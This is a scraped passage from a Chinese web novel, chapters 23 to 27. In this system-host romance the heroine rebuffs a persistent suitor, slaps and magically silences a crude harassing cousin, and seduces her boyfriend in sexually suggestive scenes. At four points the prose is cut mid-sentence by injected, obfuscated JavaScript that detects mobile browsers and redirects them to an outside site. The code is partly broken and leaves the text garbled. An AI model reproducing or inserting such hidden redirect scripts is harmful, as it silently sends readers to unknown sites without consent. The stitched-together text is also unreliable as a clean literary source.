不过,身处人来人往气氛静穆的展厅,太过亲密的姿势肯定不行,他丢面子倒是无所谓,但他不能害江吟丢面子。 柳琢玉后退几步,来到合适的位置,看着有说有笑姿态亲昵的两人,心脏仿佛经过七七四十九天腌制,已经腌透了,所有细胞都浸润在酸水儿里,甭提有多难受了! 曲江吟和徐逸风都不想耽误时间,因此没有商量太久便一致决定摆个比心的pose。 两人紧挨的身躯,甜蜜的笑容,简直比娱乐记者给明星拍红毯照时的闪光灯轰/炸还要恐怖,刺得柳琢玉的眼睛又酸又痛。 为了让自己的心脏别再往外滋滋冒酸水儿,他不得不再度发挥阿Q精神,默默给自己洗脑:江吟看的人是我,比心的手也朝着我,这说明什么?说明她的心属于我啊!对!没错!是这样的!老男人只是中转站,我才是她的终点站! 至于同样看向他的徐逸风,早被他彻底无视了。 曲江吟心想:这下他总该死心了吧? 然而柳琢玉这人打小就倔,不达目的不罢休,越得不到就越想得到,曲江吟让他体会到了情窦初开的感觉,他自然不可能轻易放手。 拍完照,他装得跟个没事儿人似的,依旧屁颠儿屁颠儿地跟着她俩。 曲江吟无奈极了,没忍住在脑内问了系统一句:“你没给我弄什么奇怪的buff吧?” 系统被她问懵了,愣了一秒才用迟疑的语气反问道:“奇怪的buff?降低存在感不算奇怪吧?” “不是这个,我想问的是,你有没有给我增加魅力?” “没有啊,”系统果断否认,“你可是我选中的宿主,本身就魅力无限,哪用得着我替你增加魅力?” 曲江吟惊呆了,愣头愣脑的系统竟然也学会吹彩虹屁了? “呦呵!没看出来啊,你还是个当佞臣的料!” 系统嘿嘿一笑,“谢谢夸奖。” 曲江吟有些无语,“我没夸你。” “能成为佞臣的人都是人精,你说我是个当佞臣的料,不就是在变相地夸我聪明吗?我好高兴啊!” “不,你想多了,我是在损你。对了,你能不能让柳琢玉别再跟着我们了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15369105|167539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “为啥啊?他这么喜欢你,长得又不比徐逸风差,收了他不好吗?” 系统真的很不理解,宿主为啥要把主动送上门来的帅哥往外推。 “收个锤子!见一个爱一个,爱一个收一个,那是龙傲天!我只是个普通人,何况我已经有男朋友了!” “有男朋友也不影响你找备胎啊!” 理不直气也壮,说的就是系统,它那副理所当然的口吻,愣是把歪理说出了常识的感觉。 曲江吟:??? 冷不丁听到如此炸裂的发言,哪怕她知道系统天天盼着她开后宫,还是深感震惊。 “别东拉西扯了,能还是不能,给我一句准话。” “如果他离你远一点,我倒是能搞点儿障眼法让他迷路,可他离你这么近,我也没辙啊,总不能把他定在原地,不让他动弹吧?”说着,系统忽然灵机一动,想到一个可行的办法,“哎~要不我让他暂时失明吧?” “不行不行,依他的性子,一旦失明,绝对会缠着我不放,让我送他去医院,大庭广众之下,我又不好拒绝,”她顿了一下,带着一丝希冀问道:“没别的办法了吗?” 系统思索片刻,弱弱地回复道:“没了。” 憎恶虽不及仇恨,但累积到一定程度后,同样能使人牙根痒痒,徐逸风不由得磨了磨后槽牙,又双叒叕一次用眼神对柳琢玉实施剜/刑。 柳琢玉恍若未觉,还觍着脸冲他笑了笑,摆明了要膈应他,就差把“你奈我何”写在脸上了,本就明亮的眼睛,在挑衅的催化下,瞬间燃起两簇跳跃的火苗。 就在两人火/药味儿十足的眼神交锋即将引发新一轮的争吵时,曲江吟蓦然回眸定定地看着柳琢玉,唇角勾起疏离的笑容,不紧不慢地说:“招呼也打了,合影也拍了,再跟下去可就不礼貌了。” 柳琢玉呼吸一滞,浓浓的失落犹如一阵疾风,将他眼底摇曳的火苗吹熄,徒留一片晦暗。 眼瞅着曲江吟铁了心要撵他们走,张玮峘火速收起看戏的神情,郑重地道了歉:“抱歉,阿玉这个幼稚鬼给你们添麻烦了,为表歉意,我想请你们去骑马,可以么?我姐投资的马术俱乐部今年刚开业,里面什么品种的马都有!” 期冀拥有无穷的魔力,只需一丁点儿,就能重新点燃柳琢玉眼底的火苗。 他一边暗中赞叹“关键时刻还得靠你啊,我的好兄弟”,一边朝张玮峘投去感激不尽的目光。 但一时的感动难敌长久的心动,他的目光停留了不到一秒,便再次挪回曲江吟脸上,内心的乞求和渴盼迫不及待地沿着两人交汇的视线,奔向她的眼睛,直达她的心底。 他嘴上说着:“那里不但有体型巨大性情温顺的匈牙利冷血马,还有阿哈尔捷金马,也就是传说中的汗血宝马,你不想去看看吗?” 清澈的眼睛却不停地“诉说”着:求求你了,去嘛去嘛去嘛…… 24. 024 徐逸风信不过张玮峘,总感觉这个油嘴滑舌的家伙没安好心,便冷着脸没有回话。 “你的好意我们心领了,不过,之后我们还要去看脱口秀呢,实在是抽不出时间,你们两个自己去玩吧。”曲江吟笑得眉眼弯弯,只不过微微眯起的双眼里充斥着冷淡的客套。 客套的笑脸不仅不会弱化拒绝的态度,反而蕴含着一股“我都给你台阶下了,你最好麻溜下来”的不耐。 见状,柳琢玉眼底的火苗彻底熄灭了,失望蜂拥而至,如阴兵过境一般,让他俊逸出尘的脸散发着倾颓与荒芜的气息。 她都这样说了,再啰嗦下去只会适得其反。 “好吧,祝你们玩得愉快。” 话毕,张玮峘用胳膊肘捅了捅柳琢玉,示意他该告别了。 柳琢玉再怎么不情愿,也不得不生硬地道了别…… 从展厅出来以后,曲江吟和徐逸风买了一些纪念品,又去看了两场脱口秀。 等她们从剧场出来时,夜幕已经降临。 徐逸风载着她来到N市最高的摩天大楼,这里有家名为拾星的高级餐厅,不仅菜品新颖可口,还能俯瞰灯火璀璨流光溢彩的夜景。 为了方便曲江吟赏景,徐逸风特地预订了靠窗的位置。 点完菜,两人正在闲聊。 一提到浪漫的餐厅,许多人都会推荐这里,以前徐逸风一直不太理解一个吃饭的地方有什么浪漫的,直到今天,看着对面眼波流转侃侃而谈的女友,听着她时而轻快、时而散漫的声音,他终于切身体会到什么叫浪漫了。 美景无边,目之所及,皆是她,思维无限,心之所向,皆是她。 当目之所及和心之所向重合时,浪漫便油然而生。 正当他细细品味难以捉摸又无处不在的浪漫氛围时,一个不速之客径直朝她们走来。 来者眼神轻浮,表情张扬,衣着光鲜,步态散漫,一副典型的玩世不恭的公子哥派头。 他先瞅了徐逸风一眼,“难得啊,居然能在这里碰到你,”然后仗着居高临下的姿势,将曲江吟从上到下扫了一遍。 正经人怎么可能用打量物品的眼神扫视一个初次见面的陌生人? 曲江吟可不是那种被人冒犯只会忍气吞声的软柿子,当即站起身来,双手抱臂,端起盛气凌人的架势,将他从头到脚扫了一遍,又从脚到头扫了一遍,最后睨了他一眼,轻嗤一声,唇角扬起不屑的弧度。 那人脸上的轻蔑登时被诧异和玩味取代,“我从来没见过敢给我甩脸子的女人……” 扑面而来的油腻像极了粘腻的蛛网,伤不到人,却相当恶心人。 曲江吟不等他说完,便张口反驳道:“这不巧了吗?我也没见过你这种素质感人的人。” 他暗骂一声“牙尖嘴利”,偏头看向徐逸风,笑着问道:“小风,她是谁?” 徐逸风眉头微蹙,他不喜欢“小风”这个称呼,也不喜欢赵端灏,即便对方是他表哥。 他们两个小时候还能玩到一起,长大后便渐行渐远。他嫌赵端灏放浪形骸,赵端灏嫌他古板无趣,除了逢年过节的家族聚会,他们极少碰面。 “江吟是我的女朋友。” 赵端灏不由得瞪大了双眼,“你居然开窍了?我还以为你这种眼高于顶、谁也瞧不上的家伙会孤独终老呢!” 说罢,他再次将视线转移到曲江吟身上,这次他的目光满满的都是好奇。 “想不到你竟然喜欢这种呛口小辣椒型的女人。” 曲江吟不知道他是谁,但从徐逸风的反应来看,他俩应该认识,关系算不上热络,所以她一点表面功夫都不想做,直接剜了他一眼。 “想不到他竟然认识你这种无尾小龙虾型的男人。” “无尾小龙虾?”赵端灏思索了几秒,才反应过来她是在骂他下头呢,他用舌头顶了顶腮帮子,露出戏谑的笑容,“你知道我是谁吗?” 迸射四溅的油滴劈头盖脸地落了下来,曲江吟的眼睛遭受了一万点暴击伤害,她下意识闭了闭眼,一脸嫌弃地回应道:“你爱谁谁!” 赵端灏无视她的嫌弃,兴致勃勃地端详着她,自顾自地说:“我叫赵端灏,是小风的表哥,既然你是他的女朋友,按理来说,应该管我叫声哥哥吧?” 区区一个表哥,妄图拿辈分压人?做梦! “可能是各地的习俗不同吧,我们那儿的人一般不会跟刚见面的陌生人攀亲戚。况且,我不缺哥哥,可惜那家伙不当人,搞得我对哥哥这个称呼产生PTSD了。” 耐心这东西,赵端灏有,但是不多。他都表明身份了,这个不识好歹的女人依旧一点儿面子都不肯给,那就别怪他不留情面了。 对付这种不知天高地厚的女人,必须狠狠挫一挫她的锐气! “哦?你哥对你做了什么,让你这么讨厌他?” 曲江吟脸色一沉,这人怎么一点儿分寸感都没有?哪有一上来就打听别人家事的道理? 徐逸风都听不下去了,皱着眉诘问道:“你问这些干嘛?” 赵端灏耸了耸肩,吊儿郎当地说:“我这不是关心一下弟妹吗?能害得她对哥哥这个称呼产生PTSD,说明她哥伤她很深。” 说着,他眯起眼睛,即便如此,曲江吟还是从他眼中看到了明晃晃的恶意。 “你该不会……被他侵/犯过吧?” 曲江吟抬手就扇,赵端灏暗中嗤笑一声,他练过格斗,这种慢悠悠的巴掌怎么可能命中他? 他果断抓向她的手腕,却诡异地抓了个空。 只听“啪”的一声,曲江吟的巴掌结结实实地甩在他脸上,力道之大,不仅打偏了他的脸,还扇得他后退一大步才稳住身形。 火辣辣的刺痛感顷刻间化作滔天的怒火,然而他还没来得及反击,就被徐逸风钳住双臂,整个人动弹不得。 “你发什么疯?”徐逸风气得要死,他只知道赵端灏在男女关系上特别放荡,没想到他居然这么龌龊,脑子里半点儿好东西都没有,装的全是下三路的勾当。 意识到自己再怎么挣扎也只是白费力气后,赵端灏既愤怒又憋屈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15379008|167539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“咱们才是正儿八经的亲人!你居然向着一个外人?” 曲江吟上睑微垂,唇角似勾非勾,单手叉腰,从眼神到笑容再到姿态,无不宣示着她的鄙夷,“我是他的女朋友,他不向着我,难道要向着你这个脏心烂肺的腌臜货吗?” 赵端灏恶狠狠地瞪着她,张嘴就是无逻辑、无依据、无下限的三无谣言:“要不是被我戳到痛脚,恼羞成怒了,你的反应怎么会这么激烈?” 曲江吟都快被他给气笑了,“我这人比较喜欢对称美。” 话音未落,她的目光骤然变冷,她抡起胳膊,猛地甩了他一巴掌,清脆的耳光声再度响起。 其实她已经非常克制了,仅仅甩了他两个耳光,留下两个鲜红的掌印而已,要知道系统可是一直闹着要弄死他来着,若不是她不许系统乱来,等待他的命运只有一个——当场暴/毙! 赵端灏被扇得脑瓜子嗡嗡的,徐逸风担心他会继续恶语中伤江吟,想空出一只手捂住他的嘴,但仅用一只手又压制不住他,急得脑门儿都开始冒汗了。 “好你个徐逸风!有异性没人性的傻屌!不帮老子就算了,竟然由着她扇老子!你赶紧给老子松手!” 见他跟个疯狗似的,逮谁咬谁,完全不像是会认怂道歉息事宁人的样子,曲江吟做了几个深呼吸,压下心头的烦躁,招呼服务员把餐厅的负责人喊来。 在系统的干扰下,服务员压根儿没有注意到这边的情况,直到曲江吟招手让他过来,他才发现客人竟然打起来了! 没等曲江吟把话说完,他便着急忙慌地去找负责人了。 很快,表面淡定如常内心慌得一批的负责人领着几个身强力壮的服务员过来了。 曲江吟知道赵端灏的理智早已被怒火焚烧殆尽,对付一个理智全无的人,根本用不着费心,随便挖个坑,他就会主动跳进去。 曲江吟伸手指了指脸红脖子粗的赵端灏,委屈又愤怒地控诉道:“他骚扰我们,还欺负我。” 绝口不提她扇了他两巴掌的事。 一听这话,双目赤红、气喘吁吁的赵端灏再次挣扎起来,唾沫横飞地咒骂道:“放屁!想跟我上/床的女人多到数都数不过来,个个盘靓条顺,我用得着欺负你?你自己欲/求不满,还想污蔑老子?草!” 曲江吟的表情差点儿裂开,这个人渣是不是发育的过程中脑子和睾/丸调换了位置啊? 徐逸风勃然变色,俊朗的脸庞阴云密布,深邃的眼睛仿佛风暴中心,他默不作声地加大钳制的力道。 赵端灏疼得脸都扭曲了,说出来的话更加不堪入耳,“草!松手!老子叫你松手!!!要是老子的胳膊出了什么问题,老子跟你没完!你这么有劲儿,她还会欲/求不满,银样镴枪头,说的就是你吧!!!” 负责人本想拉开明显占据上风的徐逸风,听了赵端灏的污言秽语之后,立刻吩咐服务员把赵端灏架起来。 然而,他们的举动无异于舍身炸粪坑,因为狗急了会咬人,赵端灏急了会喷粪,不是用肛/门括约肌喷,而是用口轮匝肌喷。 25. 025 一时间,以妈为圆心,繁衍动作为半径的脏话,无差别地荼毒着每一个人的耳朵。 曲江吟不禁怀疑,莫非他不光脑子和睾/丸对调了,嘴巴和肛/门也对调了,不然他那张嘴怎么跟造粪机似的? 有句老话说得好——忍无可忍,无需再忍! “系统,你能不能把他变成哑巴,还我们一个清静啊?” 系统斩钉截铁地回复道:“能!可惜我能量不够,不然一定会送他一份大礼,让他后半辈子又聋又瞎又哑又痈,还不/举!” “让他当一个小时哑巴就行,拜托你了。” 原本骂得正起劲儿的赵端灏,突然感觉自己的喉咙凉飕飕的,那股凉意来得快,去得也快,让他有种被一只冰冷的手掌掐了一下的错觉,他本来没当回事儿,却惊愕地发现自己的喉咙发不出声音了! 刺骨的寒意霎那间席卷了他的四肢百骸,刚才他有多嚣张,现在就有多惊慌。 快乐合该建立在人渣的痛苦之上!赵端灏越痛苦,曲江吟越快乐。 这都是系统的功劳,它总说宿主的夸赞就是它最大的动力,她便化身彩虹屁小能手,把它夸得心花怒放。 其他人不知道赵端灏这是咋了,却不约而同地松了一口气,可算是清静了! 之后,苦逼的负责人带他去医院了。 曲江吟没有洁癖,可她扇的是赵端灏这个脏东西,不洗手她膈应得不行,所以她去了一趟卫生间。 回来之后,她和徐逸风总算可以继续享受她们的二人世界了。 “抱歉,都怪我,害你遇到这种糟心事。”徐逸风满脸愧疚,虽然碰见赵端灏纯属意外事件,可他俩的亲戚关系是撇不清的,况且赵端灏明显是因为看到他才凑过来的,结果害得江吟无端被侮辱。 “没事儿,这又不是你的错。”单手托腮的曲江吟抬起另一只手,轻轻拍了拍他放在桌上的手。 徐逸风反手捏住她纤细的指节,将她的手翻转过来,盯着她的淡粉的掌心,轻声问道:“刚才你打得那么用力,手肯定很疼吧?” 刚扇完那会儿确实挺疼,但都过去这么长时间了,早就不疼了。 她没有直接回答,反而歪着脑袋,笑吟吟地问道:“如果我说疼,你会给我揉揉吗?” “会。”比徐逸风脸上的笑容更温柔的,是他揉捏曲江吟掌心的动作。 “你说……”曲江吟放下支着下巴的手,表情变得犹疑不定,过了几秒,开口问了一句意味不明的话:“我是不是表现得太明显了?” “什么?” 她从徐逸风那双清可见底的眼睛里瞥见了深深的迷茫,再精明的人,一旦露出迷茫的眼神,都会给人一种呆呆的感觉,而她要的就是这种感觉。 “就是……”她先和他对视了两三秒,又垂下眼睑,咬了咬下嘴唇,把含羞带怯拿捏得恰到好处,说出来的话却相当大胆:“就是我馋你身子这件事啊,我表现得很明显吗?不然他为啥会说我欲/求不满呢?” 迷茫构筑的云雾瞬间消散,羞涩织就的红霞霸占他的脸颊。 其实她俩单独在一块儿时,她的确馋得比较明显,可他一直以为她那些充满性/暗示的言行举止是为了逗他,压根儿没料到她是在毫不避讳地表达她有多馋他。 他的脑子一片混沌,薄厚适中的嘴唇嗫喏出细若蚊呐的声音:“没有……” “可是……”曲江吟眉头微蹙,把内心深处的谷欠望用再寻常不过的语气抖了出来:“我确实馋啊。” 轻飘飘的一句话,却在他心里点了一把火,炙热的火焰不仅将他的脸烤得更红了,还将他嘴里的水分烤干了,口干舌燥的他端起一旁的果汁,仰起脖子一饮而尽。 曲江吟目不转睛地盯着他滚动的喉结,为无缘目睹暗红汁液从他嘴角溢出,淌过他的下巴,沿着他的脖颈蜿蜒而下,最终没入衣领的美好画面而感到遗憾。 等他放下杯子,曲江吟再次支起胳膊托住下巴,另一只手也没闲着,捏住他停下来的手,用大拇指的指腹在他掌心画圈。 细微却持续不断的痒意让他不由得看向她那只细腻无瑕的手,他不明白她的意图,却隐约感受到了几分暧昧。 “所以……” 听到她的声音,徐逸风下意识抬眸,结果和她钩子般的目光撞了个正着。 “你愿意给我这个大馋丫头解馋吗?” 原来她不止擅长点火,还是添柴的一把好手。 徐逸风心里的火烧得更旺了,刚刚被果汁滋润过的口腔再次变得无比干燥。 看着她红润饱满的唇瓣,他恍然大悟,区区一杯果汁,如何能平息这股无处宣泄的燥热?解铃还须系铃人,灭火还须点火人。 他和鱼的区别在于,鱼不会主动咬钩,他会! 他紧紧握住她的手,直视着她的眼睛,温柔而坚定地回复道:“愿意。” 曲江吟有点儿意外,这还是她那个贼容易害羞的男朋友吗? “这么干脆?我还以为你会光顾着害羞,不敢答应呢!我都想好了,如果你过于害羞,我该怎么把你骗到我家,没想到计划赶不上变化,我那些套路根本用不上。” 徐逸风心说“你勾勾手,我就过来了,哪用得着套路我”,不过,他很好奇江吟准备怎么套路他。 “什么套路?” 曲江吟微微一笑,没有正面回复,用诱哄的口吻挑起新的话题:“我家蛇会装死。” 徐逸风不了解“我家猫会后空翻”的梗,以为她没有回答自己的问题是因为她想卖关子,说她家蛇会装死是为了转移话题,便自然而然地反问了一句:“真的吗?” “当然啦,不信你可以去我家看看嘛!”曲江吟唇角的弧度稍微扩大了一点,别有深意的笑容配合势在必得的眼神,替她编织出危险又迷人的气场。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15385232|167539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被她这样看着,徐逸风的心猛地一颤,倒不是因为害怕,纯粹是因为暗爽。 一想到这种极具侵略性的目光独属于他,他就更爽了。 “这是一个非常浅显的套路,能否奏效全看你愿不愿意被我拐回家。” “乐意至极!” 曲江吟瞄了一眼徐逸风的胸/部,饱满的胸肌让本就挺括的西服看上去更有型了。 她蓦地被自个儿灵光一闪的联想“他好像即将尾随狐狸回窝的懵懂白兔啊”逗笑了。 徐逸风误以为自己猴急的模样惹她发笑了,眼中闪过一丝尴尬。 缓解尴尬的方法很多,换话题不一定是最有效的,但一定是最容易的。 “我记得你刚才说的是那些套路,还有呢?” 曲江吟把单手托腮的姿势改成单手扶额,一副“真拿你没办法”的样子。 “到了我家,再用连环套——亲一亲而已,我不会乱来的;摸一摸而已,我不会乱来的;看看你练得怎么样而已,我不会乱来的;你看起来好像很难受,我想帮帮你……彻底把你拿下,最后咱俩精疲力尽大被同眠。” 尽管她说得非常简略,徐逸风还是羞红了脸,他期期艾艾地问道:“那事儿……很……很累吗?” “还好,也没多累……”说着,她陡然意识到了不对,猛地抬起头来,诧异地问道:“你没经验?” 这件事没什么好隐瞒的,他点了点头。 “可是……”曲江吟的眼睛瞪得更大了,乌溜溜的眼仁里满是惊讶,“你不是结过婚吗?” 系统也惊呆了,不过,很快它就转惊为喜,激动地嚷嚷着:“处男好啊,经验不足不要紧,起码干净啊!” “芷葶她从小身体就不好,三天两头往医院跑,她特别坚强,活着的每一分每一秒都是从死神手里抢过来的。我们两家关系紧密,我很同情她,也很佩服她,跟我结婚是她临终前最后一个愿望,所以……” 每次听到这种和病魔抗争最终却败给病魔的故事,曲江吟都会由衷地感到庆幸,还好自己从小到大都很健康。有什么别有病,才是值得永远铭记在心的至理名言。 她不擅长安慰别人,尤其是经历过生离死别的人,干干巴巴地说了一句:“节哀。” 眼见两人之间的气氛变得压抑沉闷,徐逸风异常自责,他说那么多干嘛? 沉闷因他而起,就该由他终结。 他捏了捏曲江吟的手,故作镇定地说:“虽然我没有那方面的经验,但是我可以学啊,你……愿意教我吗?” 说起这个,她顿时来劲儿了,没办法,谁让她是个大馋丫头呢? 她挑了挑眉,不答反问:“你希望我怎么教呢?” 徐逸风俊脸绯红,支支吾吾说不出话来。 曲江吟站起身来,走到他身旁,贴到他耳边,用说悄悄话的方式柔声说:“一对一、身体力行的教法行吗?” 26. 026 徐逸风的脸烫得像是着了火一样,被曲江吟攥住的手似乎出汗了,湿湿的,粘粘的,另一只手则紧紧抠住紧绷的大腿,以低眉顺眼的臣服者姿态,轻轻地呢喃了一句:“好……” 他这副任她摆布的模样,极大地取悦了曲江吟。 浅粉的耳尖仿佛粉玉草莓,勾得她食指大动两眼发直,若不是场合不对,她真想一口叼住。 这时,服务员端着托盘款款走来,解救了差点儿被沸腾的羞涩烫熟的徐逸风…… 吃过晚饭,已经九点多了。 车子在地下车库缓缓行驶,坐在副驾上的曲江吟一边在手机上回消息,一边漫不经心地说:“先不急着去我家。” 手握方向盘的徐逸风十分自然地代入了专属司机的身份,点开导航,开口问道:“你想去哪儿?” “去买计/生用品啊,你应该没有准备吧?”她面色如常,语气平淡,仿佛在说一件稀松平常的小事。 被她说中了,他确实毫无准备,毕竟他又没有未卜先知的超能力,根本不可能料到她们之间的进展会如此之快。 他没有用过,也不清楚江吟的喜好,犹豫了几秒,强装淡定地问道:“你喜欢哪种款式?” “我喜欢的是你,款式啥的无所谓啦,你戴着舒服就行。” 她的话犹如五彩缤纷的糖果,在他心里下起了梦幻的糖果雨。 喜欢,简简单单的两个字,却惹得他心神动荡。她说出喜欢只需短短一瞬,他感受到的欢喜却长存于心,令他回味无穷。 “我记得夕阜街有家挺大的无人情/趣用品店,你可以去那儿看看。” 徐逸风根据导航的指示,将车驶入夕阜街,没过多久便看到了那家装修风格独树一帜的店铺。 他将车停在路边,曲江吟懒得下去,他便独自下车,怀揣着好奇与期待走了进去。 他只知道自己该用什么型号,不清楚哪个牌子戴着更舒服,干脆把各个牌子各种款式,什么薄的、超薄的、螺纹的、颗粒的、这色儿、那色儿等等,每样挑了一盒。 见他拎着一大袋五颜六色的套/套回来了,曲江吟忍不住调侃道:“你是去进货了吗?” 徐逸风结账那会儿就猜到江吟可能会打趣自己,一路上都在给自己做心理建设,结果猜测成真时,他的心理建设跟豆腐/渣/工程没什么两样,一下子就被来势汹汹的羞窘冲垮了。 “我不知道哪种适合我,所以……” “没事儿,慢慢用呗。” 他的心刚放回肚子里面,便被她过分直白的问题给提溜起来了。 “今晚你打算用几个?” 车内的温度骤然升高,那股难耐的燥热从蛰伏中苏醒过来,开始在他体内横冲直撞,口干舌燥的感觉再次蹂/躏着他的神经。 曲江吟抬起右手,比了个“二”,在他眼前晃了晃,噙着暧昧的笑容问道:“两个行不?” 徐逸风没有回话,抓过她的手,将灼热的嘴唇贴在她手腕内侧,伸出舌尖舔了两下。 她轻笑一声,摸了摸他的脸,“走吧,去我家吧。” 到家之后,曲江吟把包放到鞋柜上面,换上拖鞋,从鞋柜里面取出一双男士拖鞋放到地上,去卫生间洗了洗手。 回家先洗手是她坚持多年的习惯之一。 徐逸风换上拖鞋,好奇地打量着屋内的陈设。 除了地板、房门以及各种小物件,房子里的东西都是白色的,整个房子就像一个巨大的奶油蛋糕,雪白的墙壁和天花板、象牙白的瓷砖和家具是奶油,米黄的地板和房门是蛋糕胚,五彩斑斓的小物件是巧克力彩针糖。 他对这里的第一印象是干净简约、温馨雅致。 曲江吟从卫生间出来,见他东瞅瞅西瞧瞧满脸好奇,随口解释道:“当初是因为偏爱白色才装成这样的,根本没管什么风格不风格的,没想到如今比较流行的奶油风正好是这样的,也算歪打正着了。你随便坐,茶几下边有饮料。” 她边走边说,走到一扇紧闭的房门前面,停下脚步,把话说完才伸手推开房门,走了进去,没一会儿,她像献哈达一样,两手端着一条白底橘斑的猪鼻蛇朝他走来。 “略宝,家里来客人了,你先帮我招待一下,我去洗个澡。” 感受到陌生的气息,略宝支起脑袋,红宝石般的眼睛看向徐逸风,为了获取更多的气味信息,分叉的蛇信子像只灵活的小手,不断地在空气里摸来摸去。 但在徐逸风看来,略宝只是在不停地略略略。 别说,江吟取的名字还怪贴切的。 短胖的猪鼻哈达显然不适合挂到他脖子上,曲江吟也没想挂上去。 把略宝转交给徐逸风,她就去洗澡了。 等她出来,略宝已经用自己灵活的身躯把徐逸风这个陌生的家伙给“铐”了起来,一人一蛇正大眼瞪小眼呢。 见状,系统活像被村头情报中心的泼辣婶子附体了,抑扬顿挫地开起了玩笑:“呦~~~难怪人们常说物似主人形呢,瞧瞧略宝,啧~多会玩儿呀,直接把他给铐上了!这么懂事的猪猪,必须赏几只乳鼠好好犒劳一下!” 曲江吟没忍住笑出了声,“看来略宝很喜欢你呢。” 对此,徐逸风深表怀疑,他怎么感觉略宝想绞/杀他呢?只不过它力气太小绞不动罢了。 “是吗?” 曲江吟上前将“蛇手铐”解开,“是啊,一上来就缠着你不放,这不是喜欢是什么?” 招待客人的任务已经完成,她返回客卧,把略宝放回爬柜。 徐逸风拘谨地坐在沙发上,没了略宝帮他分散注意力,他满脑子想的都是江吟身上的香气和她穿着睡裙的样子,怦怦乱跳的心脏仿佛下一秒就要破壁而出似的。 他盼着她出来,又不知道该怎么面对她,各种乱七八糟的情绪在他脑子里你方唱罢我登场,搅得他心神不宁。 然而,当江吟再次出现在他眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15388549|167539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前时,纷乱的情绪作鸟兽散,原始的谷欠望一点一点冲破理智的束缚。 “你想穿睡衣还是浴袍?放心,都是新的。” “浴袍吧。”徐逸风想也不想就选了穿脱方便的浴袍。 都到这一步了,完全没必要再藏匿自己的谷欠望了。 “其实……还有第三个选择哦,”曲江吟眼底倏忽冒出的促狭,仿若投入湖中的石头,激起层层涟漪,明媚的笑意随着流转的眼波荡漾开来,“不穿也行,但我这人呢,比较享受拆礼物的过程。稍等一下,我去给你拿过来。” 又被她逗弄了,不过徐逸风转念一想,拆礼物这事儿,他又何尝不是满怀憧憬呢? 等他洗完穿好浴袍出来,发现客厅和卧室的灯都关了,窗帘也被拉得严严实实的,除了卫生间,其他地方都黑漆漆的。 “江吟,你在哪儿?” 回应他的,是一个红色的光点。 这不是逗猫用的激光笔吗?她这是把他当猫了么? 光点慢慢朝卧室挪去,他也一步一步跟了过去。 虽然他和猫都会追随光点,但猫是被动来动去的光点引诱,他是被心仪已久的人引诱。 他刚步入卧室,光点就消失了,随后离他不远的位置传来曲江吟故作神秘的声音:“坐到床边,闭上眼睛。” 他二话不说直接照做。 曲江吟按下开关,暖黄的灯光倾泻而下,不仅洒满整间卧室,还溢出一小部分,照亮客厅一隅。 徐逸风的腿成了她的板凳,她捧着他的脸,在他淡粉的嘴唇上亲了一口。 “睁开眼睛,看着我。” 他的眼帘尚未彻底掀开,曲江吟猛地按住他的肩膀,吻了上去。 徐逸风两手向后支撑起上半身,才没有被她压倒。 她不光嘴巴忙得飞起,两只手也没闲着,跟扒香蕉皮似的,扒开碍事的浴袍,游走在肖想已久的胸肌腹肌上,时不时捏一捏、揉一揉、掐一掐。 徐逸风撑在身后的手不由得攥紧床单。 摸到他明显凹下去的锁骨窝时,曲江吟忽然想到一个绝妙的主意。 她趁着亲吻暂歇的间隙,先不断地摩挲着他的锁骨并称赞了一句“你的锁骨真漂亮”,接着用指甲在他的锁骨窝里来回刮挠、打圈,同时意味深长地说:“这么深的锁骨上窝,完全可以当杯子来用了。” 徐逸风顿时心领神会,用额头贴住她的额头,乖顺地回应道:“你想做什么都可以。” “就等你这句话了!”曲江吟亲了他一口,美滋滋地起身朝客厅走去,“我去拿饮料。” 没一会儿她便拿着一瓶石榴汁进来了,她选石榴汁不为别的,纯粹图它颜色好看。 徐逸风调整姿势,努力挤出更深的锁骨窝。自从和江吟在一起,他时常担心沉闷无趣不懂幽默的自己没办法讨她欢心,如今他想开了,虽然他没法儿用风趣的言行讨好她,但是他可以用自己的身体取悦她啊! 27. 027 